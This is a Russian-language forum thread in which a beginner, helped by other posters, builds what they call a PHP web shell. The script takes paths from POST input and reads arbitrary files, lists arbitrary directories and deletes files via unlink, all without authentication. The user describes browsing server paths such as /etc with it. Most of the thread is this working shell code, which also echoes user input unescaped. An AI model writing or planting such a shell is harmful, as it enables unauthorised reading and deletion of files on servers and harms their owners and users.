Есть два куска кода: 1 кусок кода читает содержимое файлов PHP: <?php $filename = "/var/www/html/index.php"; $fp = fopen($filename, 'r'); $buf = fread($fp, filesize($filename)); fclose($fp); echo $buf; ?> Второй кусок кода выводит содержимое директории PHP: <?php $dir = '/var/www/'; $files = scandir($dir); print_r($files); ?> Как можно поместить их в один файл и методом post создавать запросы, чтобы был вывод на экран? Например, если я хочу просмотреть директорию - я ввожу адрес. нажимаю готово и наблюдаю ответ Тоже самое должн происходить и с выводом содержимого файла? Могу предположить чисто теоретический, что запросы будут методом POST через разделение взаимосвязанности функции.
Во первых, не: PHP: <?php $filename = "/var/www/html/index.php"; $fp = fopen($filename, 'r'); $buf = fread($fp, filesize($filename)); fclose($fp); echo $buf; ?> а: PHP: <?php $buf = file_get_contents('/var/www/html/index.php'); echo $buf; ?> а по теме, $_POST это массив: PHP: <?php foreach($_POST as $key) { echo $key.'<br>'; } file_put_contents('post.txt',$_POST); ?> если чесна не понял вопроса
Спасибо. Нужно эти 2 куска кода запихать в один файл. Что-то типа веб-шелла на php но лишь с двумя возможностями: 1) вывод список файлов и папок в данной директории, например "/var/www/html/'" 2) вывод исходного текста, например из index.php
Что то типа того... о безопасности позаботься сам... PHP: <form action="" method="post"> Позырить файл <input type="text" name="fail"> <input type="submit" name="ok1"></form> <form action="" method="post"> Глянуть директорию <input type="text" name="dir"> <input type="submit" name="ok2"></form> <?php if($_POST['fail'] and $_POST['ok1']){ $filename = $_POST['fail']; $fp = fopen($filename, 'r'); $buf = fread($fp, filesize($filename)); fclose($fp); echo "<textarea rows=20 cols=100>" . $buf . "</textarea>"; } if($_POST['dir'] and $_POST['ok2']){ $dir = $_POST['dir']; $files = scandir($dir); echo "<textarea rows=20 cols=100>"; foreach($files as $file){ echo $file . "\r\n"; } echo "</textarea>"; } ?>
Работает Только когда просишь показать внутренности файла "index.php " - идет исполнение за рамками поля) ну да ладно)
поменяй PHP: echo "<textarea rows=20 cols=100>" . $buf . "</textarea>"; на PHP: echo "<textarea rows=20 cols=100>" . htmlspecialchars($buf) . "</textarea>"; а так я на скорую руку набросал.. добавь еще проверку на существование файлов и директорий ..
Доработал чуть-чуть скрипт, и возникли вопросы. 1) Когда я выбираю несуществующий файл, отображаются ошибки и пустое поле. Как это можно пофиксить? 2) как можно сохранить строку директории? когда я перемещаюсь по серверу, мне приходится вручную вбивать каталоги: etc, /etc/home/, /etc/home/pornostar/index.php/ Как можно сохранить строку директории? 3) В коде есть ненужный кусок Если файл найден- он ничего не пишет. Если же файл отсуствует, выводится сообщение об ошибке. Как можно переписать код, чтобы он выводится в "поле" и только при значении, что файл не найдет? Я впервые сегодня написал простейшее выражение, не пугайтесь, что коряво написал. Впервой мне Сам скрипт PHP: <form action="" method="post"> Позырить файл <input type="text" name="fail"> <input type="submit" name="ok1"></form> <form action="" method="post"> Глянуть директорию <input type="text" name="dir"> <input type="submit" name="ok2"></form> <form action="" method="post"> Удалить файл <input type="text" name="del"> <input type="submit" name="ok3"></form> <?php if($_POST['fail'] and $_POST['ok1']){ $filename = $_POST['fail']; $fp = fopen($filename, 'r'); if (file_exists($_POST['fail'])) { } else { echo '<div align="center"><h1>файл не найден</h1></div>'; } $file_exists = $buf; $buf = fread($fp, filesize($filename)); fclose($fp); echo "<textarea rows=20 cols=100>" . htmlspecialchars($buf) . "</textarea>"; } if($_POST['dir'] and $_POST['ok2']){ $dir = $_POST['dir']; $files = scandir($dir); echo "<textarea rows=20 cols=100>"; foreach($files as $file){ echo $file . "\r\n"; } echo "</textarea>"; } if($_POST['del'] and $_POST['ok3']){ $del = $_POST['del']; $uplink = unlink($_POST['del']); } ?> <br> <br> <script language="javascript"> var name = navigator.appName; var vers = navigator.appVersion; var code = navigator.appCodeName; var where = document.referrer; var platform = navigator.platform; document.write( 'Броузер: ' + name + '<br>Версия броузера: ' + vers + '<br>Кодовое название броузера: ' + code + '<br>Вы зашли из: ' + where + '<br>Платформа: ' + platform ); </script>
PHP: <?php if(!empty($_POST['fail'])) $fail = $_POST['fail']; else $fail = false; if(!empty($_POST['dir'])) $dir = $_POST['dir']; else $dir = false; ?> <form action="" method="post"> Позырить файл <input type="text" name="fail" value="<?php echo $fail ?>"> <input type="submit" name="ok1"></form> <form action="" method="post"> Глянуть директорию <input type="text" name="dir" value="<?php echo $dir ?>"> <input type="submit" name="ok2"></form> <form action="" method="post"> Удалить файл <input type="text" name="del"> <input type="submit" name="ok3"></form> <?php if($fail and $_POST['ok1']) { $filename = $fail; $fp = fopen($filename, 'r'); if (!@file_exists($fail)) echo '<div align="center"><h1>файл не найден</h1></div>'; $file_exists = $buf; $buf = fread($fp, filesize($filename)); fclose($fp); echo "<textarea rows=20 cols=100>" . htmlspecialchars($buf) . "</textarea>"; } if($dir and $_POST['ok2']) { $dir = $dir; $files = scandir($dir); echo "<textarea rows=20 cols=100>"; foreach($files as $file) { echo $file . "\r\n"; } echo "</textarea>"; } if($_POST['del'] and $_POST['ok3']) { $del = $_POST['del']; $uplink = unlink($_POST['del']); } ?> <br> <br> <script language="javascript"> var name = navigator.appName; var vers = navigator.appVersion; var code = navigator.appCodeName; var where = document.referrer; var platform = navigator.platform; document.write( 'Броузер: ' + name + '<br>Версия броузера: ' + vers + '<br>Кодовое название броузера: ' + code + '<br>Вы зашли из: ' + where + '<br>Платформа: ' + platform ); </script>